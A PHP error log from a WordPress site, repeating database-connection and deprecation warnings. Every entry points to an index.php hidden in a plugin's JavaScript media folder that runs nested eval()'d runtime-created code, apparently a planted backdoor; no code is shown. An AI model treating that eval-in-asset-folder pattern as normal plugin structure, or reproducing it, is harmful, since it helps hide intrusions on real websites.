/home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:28 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:28 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 22:16:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 22:16:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 23:16:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 23:16:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:02:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:02:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:02:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:02:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:03:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:03:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:03:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:03:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:04:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:04:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:05:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:05:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:08:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:08:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:08:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:08:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:09:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:09:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:11:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:11:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:11:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:11:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:12:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:12:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:13:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:13:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:14:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:14:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:14:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:14:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:15:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:15:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:15:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:15:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:16:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:16:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:16:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:16:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:17:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:17:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:17:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:17:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:18:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:18:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:18:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:18:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:18:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:18:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:19:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:19:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:19:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:19:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:20:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:20:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 00:21:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 00:21:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 01:18:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 01:18:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 02:19:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 02:19:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 03:21:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 03:21:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:22:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:22:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:22:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:22:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:23:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:23:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:24:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:24:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:24:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:24:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:25:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:25:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:27:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 08:27:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 08:27:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: 